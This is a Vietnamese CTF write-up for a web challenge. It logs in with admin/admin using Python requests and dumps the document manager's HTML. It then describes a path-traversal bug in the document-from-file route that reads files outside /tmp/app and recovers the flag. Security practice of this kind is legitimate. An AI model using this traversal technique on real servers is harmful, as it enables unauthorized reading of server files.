Bài này là web với 1 giao diện cho phép người dùng chuyển đến trang đăng ký và đăng nhập

Khi đăng ký thành công và đăng nhập thì web lại chuyển mình về trang chủ như lúc đầu, khi check requests post đăng nhập thì ta thấy status code trả về là 302, và nó chuyển qua get trang / luôn

Từ đó ta có thể sử dụng code python requests đến nhưng mà sẽ thêm vào trong requests là không được redirect ( allow_redirects=False )
Code:
import requests
r=requests.Session()
base_api="http://buiih-282eca41.challs.0xv01d-ctf.xyz/"
pl={
'username':'admin',
'password' : 'admin'
}
res=r.post(url=base_api+'/login',data=pl,allow_redirects=False)
print("status:", res.status_code)
print("location:", res.headers.get("Location"))
print("cookies:", r.cookies.get_dict())

Sau khi có session đăng nhập ta sẽ thử truy cập vào trang /documents
Code :
import requests
r=requests.Session()
base_api="http://buiih-282eca41.challs.0xv01d-ctf.xyz"
pl={
'username':'admin',
'password' : 'admin'
}
res=r.post(url=base_api+'/login',data=pl,allow_redirects=False)
r_d = r.get(base_api + "/documents")
print(r_d.status_code)
print(r_d.text)
Sau khi chạy thì sẽ được trả về 1 trang HTML /documents
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Documents - Webifile</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 40px 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
animation: fadeIn 0.5s ease-out;
}
@keyframes fadeIn {
from {
opacity: 0;
transform: translateY(-20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
/* Header */
.header {
background: white;
border-radius: 15px;
padding: 20px 30px;
margin-bottom: 30px;
display: flex;
justify-content: space-between;
align-items: center;
box-shadow: 0 5px 20px rgba(0,0,0,0.1);
}
.header h1 {
color: #667eea;
font-size: 28px;
}
.user-info {
display: flex;
gap: 20px;
align-items: center;
}
.user-name {
color: #764ba2;
font-weight: 600;
}
.nav-links {
display: flex;
gap: 15px;
}
.nav-link {
padding: 8px 20px;
text-decoration: none;
border-radius: 8px;
transition: all 0.3s ease;
}
.nav-link.home {
background: #667eea;
color: white;
}
.nav-link.logout {
background: #ff4757;
color: white;
}
.nav-link:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0,0,0,0.2);
}
/* Cards */
.section-card {
background: white;
border-radius: 15px;
padding: 25px;
margin-bottom: 30px;
box-shadow: 0 5px 20px rgba(0,0,0,0.1);
}
.section-title {
color: #667eea;
margin-bottom: 20px;
font-size: 22px;
border-bottom: 3px solid #667eea;
padding-bottom: 10px;
display: inline-block;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
color: #333;
font-weight: 600;
}
input, textarea {
width: 100%;
padding: 10px 15px;
border: 2px solid #e0e0e0;
border-radius: 8px;
font-size: 14px;
transition: all 0.3s ease;
}
input:focus, textarea:focus {
outline: none;
border-color: #667eea;
box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.1);
}
textarea {
min-height: 100px;
resize: vertical;
}
.btn-submit {
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
padding: 12px 30px;
border: none;
border-radius: 8px;
cursor: pointer;
font-size: 16px;
font-weight: 600;
transition: all 0.3s ease;
}
.btn-submit:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(102, 126, 234, 0.3);
}
/* Documents List */
.documents-list {
background: white;
border-radius: 15px;
padding: 25px;
box-shadow: 0 5px 20px rgba(0,0,0,0.1);
}
.documents-grid {
display: grid;
gap: 15px;
margin-top: 20px;
}
.doc-item {
background: #f8f9fa;
padding: 15px;
border-radius: 10px;
border-left: 4px solid #667eea;
transition: all 0.3s ease;
}
.doc-item:hover {
transform: translateX(5px);
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
.doc-title {
font-weight: 600;
color: #333;
font-size: 16px;
}
.doc-id {
color: #999;
font-size: 12px;
margin-left: 10px;
}
.empty-state {
text-align: center;
padding: 40px;
color: #999;
}
.row {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 20px;
}
@media (max-width: 768px) {
.row {
grid-template-columns: 1fr;
}
.header {
flex-direction: column;
gap: 15px;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>📄 Webifile Documents</h1>
<div class="user-info">
<span class="user-name">👤 admin</span>
<div class="nav-links">
<a href="/" class="nav-link home">🏠 Home</a>
<a href="/logout" class="nav-link logout">🚪 Logout</a>
</div>
</div>
</div>
<div class="row">
<!-- Add Document -->
<div class="section-card">
<h3 class="section-title">✏️ Add Document</h3>
<form id="addDocumentForm">
<div class="form-group">
<label for="documentTitle">Document Title</label>
<input type="text" id="documentTitle" name="documentTitle" required placeholder="Enter title">
</div>
<div class="form-group">
<label for="documentContent">Document Content</label>
<textarea id="documentContent" name="documentContent" required placeholder="Enter content"></textarea>
</div>
<button type="submit" class="btn-submit">Add Document</button>
</form>
</div>
<!-- Read Document -->
<div class="section-card">
<h3 class="section-title">🔍 Read Document</h3>
<form id="readDocumentForm">
<div class="form-group">
<label for="documentId">Document ID</label>
<input type="text" id="documentId" name="documentId" required placeholder="Enter document ID">
</div>
<button type="submit" class="btn-submit">Read Document</button>
</form>
</div>
<!-- Remove Document -->
<div class="section-card">
<h3 class="section-title">🗑️ Remove Document</h3>
<form id="removeDocumentForm">
<div class="form-group">
<label for="deleteDocumentId">Document ID</label>
<input type="text" id="deleteDocumentId" name="deleteDocumentId" required placeholder="Enter document ID">
</div>
<button type="submit" class="btn-submit">Remove Document</button>
</form>
</div>
<!-- Add File -->
<div class="section-card">
<h3 class="section-title">📎 Add File</h3>
<form id="addFileForm">
<div class="form-group">
<label for="file">Choose a file</label>
<input type="file" id="file" name="file" required>
</div>
<button type="submit" class="btn-submit">Upload File</button>
</form>
</div>
<!-- Add Document from File -->
<div class="section-card">
<h3 class="section-title">📄 Add Document from File</h3>
<form id="addDocumentFileForm">
<div class="form-group">
<label for="documentFromFileTitle">Document Title</label>
<input type="text" id="documentFromFileTitle" name="documentFromFileTitle" required placeholder="Enter title">
</div>
<div class="form-group">
<label for="documentFilename">Filename</label>
<input type="text" id="documentFilename" name="documentFilename" required placeholder="Enter filename">
</div>
<button type="submit" class="btn-submit">Create from File</button>
</form>
</div>
</div>
<!-- Documents List -->
<div class="documents-list">
<h3 class="section-title">📚 Your Documents</h3>
<div class="empty-state">
<p>📭 You have no documents yet.</p>
<p style="font-size: 14px; margin-top: 10px;">Create your first document using the forms above!</p>
</div>
</div>
</div>
<script>
// Add Document
document.getElementById('addDocumentForm').addEventListener('submit', function(event) {
event.preventDefault();
const data = {
title: document.getElementById('documentTitle').value,
content: document.getElementById('documentContent').value
};
fetch('/documents', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
})
.then(response => response.json())
.then(data => {
alert(data.message);
if (data.success) location.reload();
})
.catch(error => alert('Error: ' + error));
});
// Read Document
document.getElementById('readDocumentForm').addEventListener('submit', function(event) {
event.preventDefault();
const documentId = document.getElementById('documentId').value;
fetch(`/documents/${documentId}`, { method: 'GET' })
.then(response => response.json())
.then(data => {
if (data.success) {
alert("📄 Title: " + data.title + "\n\n📝 Content:\n" + data.content);
} else {
alert(data.message);
}
})
.catch(error => alert('Error: ' + error));
});
// Remove Document
document.getElementById('removeDocumentForm').addEventListener('submit', function(event) {
event.preventDefault();
const documentId = document.getElementById('deleteDocumentId').value;
fetch(`/documents/${documentId}`, { method: 'DELETE' })
.then(response => response.json())
.then(data => {
if (data.success) {
alert("✅ Document successfully removed");
location.reload();
} else {
alert(data.message);
}
})
.catch(error => alert('Error: ' + error));
});
// Add File
document.getElementById('addFileForm').addEventListener('submit', function(event) {
event.preventDefault();
const fileInput = document.getElementById('file');
const file = fileInput.files[0];
const reader = new FileReader();
reader.onloadend = async function() {
const base64String = reader.result.replace(/^data:.+;base64,/, '');
const payload = { fileName: file.name, fileContent: base64String };
try {
const response = await fetch('/files', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
const result = await response.json();
alert(result.message);
if (result.success) location.reload();
} catch (error) {
alert('Error uploading file');
}
};
reader.readAsDataURL(file);
});
// Add Document from File
document.getElementById('addDocumentFileForm').addEventListener('submit', function(event) {
event.preventDefault();
const data = {
filename: document.getElementById('documentFilename').value,
title: document.getElementById('documentFromFileTitle').value
};
fetch('/documentfile', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert("✅ Document " + data.id + " created");
location.reload();
} else {
alert(data.message);
}
})
.catch(error => alert('Error: ' + error));
});
</script>
</body>
</html>
Sơ qua ta có thể thấy là ở đây có route post, payload được truyền đi bao gồm filename và title. Ta sẽ thử 1 requests post documents

Ở đây thông qua lỗi ta nhận được là cái /documents đang thật sự lấy cái filename của mình gửi rồi đọc trên server, nó ghép vào thư mục gốc là /tmp/app
-> Ta sẽ thư để tên file để cố tình đẩy nó lên thư mục gốc

kết quả là document của mình đã được thêm và có id là 1.
doc_id = res_post_document.json()["id"]
res2 = r.get(base_api + f"/documents/{doc_id}")
print(res2.text)
Ta thêm vào code để đọc được flag

=> flag : 0xV01D{0c33624d-c96d-47d3-b2be-c51f9450abf9}